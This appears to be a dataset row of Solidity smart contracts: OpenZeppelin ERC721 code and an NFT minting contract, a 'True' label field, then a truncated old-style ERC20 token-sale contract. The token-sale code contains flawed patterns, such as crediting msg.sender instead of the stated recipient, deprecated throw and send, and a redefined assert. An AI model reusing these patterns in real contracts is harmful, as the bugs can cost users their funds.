* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: contracts/Plant_your_tree_NFT.sol
pragma solidity >=0.7.0 <0.9.0;
contract Plant_your_tree_NFT is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public cost = 0.07 ether;
uint256 public maxSupply = 7777;
uint256 public maxMintAmountPerTx = 10;
bool public paused = false;
bool public revealed = false;
constructor() ERC721("Plant your tree NFT", "PYT") {
setHiddenMetadataUri("ipfs://QmcVoakuCzGD9CRLaX3jhSUfcskDze3UkiamBN58Cppd6Q/hidden.json");
}
modifier mintCompliance(uint256 _mintAmount) {
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!");
require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!");
_;
}
function totalSupply() public view returns (uint256) {
return supply.current();
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
require(msg.value >= cost * _mintAmount, "Insufficient funds!");
_mintLoop(msg.sender, _mintAmount);
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
_mintLoop(_receiver, _mintAmount);
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount);
uint256 currentTokenId = 1;
uint256 ownedTokenIndex = 0;
while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) {
address currentTokenOwner = ownerOf(currentTokenId);
if (currentTokenOwner == _owner) {
ownedTokenIds[ownedTokenIndex] = currentTokenId;
ownedTokenIndex++;
}
currentTokenId++;
}
return ownedTokenIds;
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(_tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (revealed == false) {
return hiddenMetadataUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix))
: "";
}
function setRevealed(bool _state) public onlyOwner {
revealed = _state;
}
function setCost(uint256 _cost) public onlyOwner {
cost = _cost;
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
maxMintAmountPerTx = _maxMintAmountPerTx;
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
hiddenMetadataUri = _hiddenMetadataUri;
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
uriPrefix = _uriPrefix;
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
uriSuffix = _uriSuffix;
}
function setPaused(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public onlyOwner {
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
for (uint256 i = 0; i < _mintAmount; i++) {
supply.increment();
_safeMint(_receiver, supply.current());
}
}
function _baseURI() internal view virtual override returns (string memory) {
return uriPrefix;
}
} | True | [
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pragma solidity ^0.4.21;
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
*/
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Standard ERC20 token
* @dev Implemantation of the basic standart token.
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/// @title SUC Protocol Token.
contract SUCToken is StandardToken {
string public constant NAME = "SUPPLYCHAIN";
string public constant SYMBOL = "SUC";
uint public constant DECIMALS = 18;
/// During token sale, we use one consistent price: 50000 SUC/ETH.
/// We split the entire token sale period into 3 phases, each
/// phase has a different bonus setting as specified in `bonusPercentages`.
/// The real price for phase i is `(1 + bonusPercentages[i]/100.0) * BASE_RATE`.
/// The first phase or early-bird phase has a much higher bonus.
uint8[10] public bonusPercentages = [
20,
10,
0
];
uint public constant NUM_OF_PHASE = 3;
/// Each phase contains exactly 29000 Ethereum blocks, which is roughly 7 days,
/// which makes this 3-phase sale period roughly 21 days.
uint16 public constant BLOCKS_PER_PHASE = 29000;
/// This is where we hold ETH during this token sale. We will not transfer any Ether
/// out of this address before we invocate the `close` function to finalize the sale.
/// This promise is not guanranteed by smart contract by can be verified with public
/// Ethereum transactions data available on several blockchain browsers.
/// This is the only address from which `start` and `close` can be invocated.
/// Note: this will be initialized during the contract deployment.
address public target;
/// `firstblock` specifies from which block our token sale starts.
/// This can only be modified once by the owner of `target` address.
uint public firstblock = 0;
/// Indicates whether unsold token have been issued. This part of SUC token
/// is managed by the project team and is issued directly to `target`.
bool public unsoldTokenIssued = false;
/// Minimum amount of funds to be raised for the sale to succeed.
uint256 public constant GOAL = 5000 ether;
/// Maximum amount of fund to be raised, the sale ends on reaching this amount.
uint256 public constant HARD_CAP = 10000 ether;
/// Base exchange rate is set to 1 ETH = 50000 SUC.
uint256 public constant BASE_RATE = 50000;
/// A simple stat for emitting events.
uint public totalEthReceived = 0;
/// Issue event index starting from 0.
uint public issueIndex = 0;
/*
* EVENTS
*/
/// Emitted only once after token sale starts.
event SaleStarted();
/// Emitted only once after token sale ended (all token issued).
event SaleEnded();
/// Emitted when a function is invocated by unauthorized addresses.
event InvalidCaller(address caller);
/// Emitted when a function is invocated without the specified preconditions.
/// This event will not come alone with an exception.
event InvalidState(bytes msg);
/// Emitted for each sucuessful token purchase.
event Issue(uint issueIndex, address addr, uint ethAmount, uint tokenAmount);
/// Emitted if the token sale succeeded.
event SaleSucceeded();
/// Emitted if the token sale failed.
/// When token sale failed, all Ether will be return to the original purchasing
/// address with a minor deduction of transaction fee（gas)
event SaleFailed();
/*
* MODIFIERS
*/
modifier onlyOwner {
if (target == msg.sender) {
_;
} else {
InvalidCaller(msg.sender);
throw;
}
}
modifier beforeStart {
if (!saleStarted()) {
_;
} else {
InvalidState("Sale has not started yet");
throw;
}
}
modifier inProgress {
if (saleStarted() && !saleEnded()) {
_;
} else {
InvalidState("Sale is not in progress");
throw;
}
}
modifier afterEnd {
if (saleEnded()) {
_;
} else {
InvalidState("Sale is not ended yet");
throw;
}
}
/**
* CONSTRUCTOR
*
* @dev Initialize the SUC Token
* @param _target The escrow account address
*/
function SUCToken(address _target) {
target = _target;
totalSupply = 10 ** 27;
balances[target] = totalSupply;
}
/*
* PUBLIC FUNCTIONS
*/
/// @dev Start the token sale.
/// @param _firstblock The block from which the sale will start.
function start(uint _firstblock) public onlyOwner beforeStart {
if (_firstblock <= block.number) {
// Must specify a block in the future.
throw;
}
firstblock = _firstblock;
SaleStarted();
}
/// @dev Triggers unsold tokens to be issued to `target` address.
function close() public onlyOwner afterEnd {
if (totalEthReceived < GOAL) {
SaleFailed();
} else {
SaleSucceeded();
}
}
/// @dev Returns the current price.
function price() public constant returns (uint tokens) {
return computeTokenAmount(1 ether);
}
/// @dev This default function allows token to be purchased by directly
/// sending ether to this smart contract.
function () payable {
issueToken(msg.sender);
}
/// @dev Issue token based on Ether received.
/// @param recipient Address that newly issued token will be sent to.
function issueToken(address recipient) payable inProgress {
// We only accept minimum purchase of 0.01 ETH.
assert(msg.value >= 0.01 ether);
// We only accept maximum purchase of 10000 ETH.
assert(msg.value <= 10000 ether);
// We only accept totalEthReceived < HARD_CAP
uint ethReceived = totalEthReceived + msg.value;
assert(ethReceived <= HARD_CAP);
uint tokens = computeTokenAmount(msg.value);
totalEthReceived = totalEthReceived.add(msg.value);
balances[msg.sender] = balances[msg.sender].add(tokens);
balances[target] = balances[target].sub(tokens);
Issue(
issueIndex++,
recipient,
msg.value,
tokens
);
if (!target.send(msg.value)) {
throw;
}
}
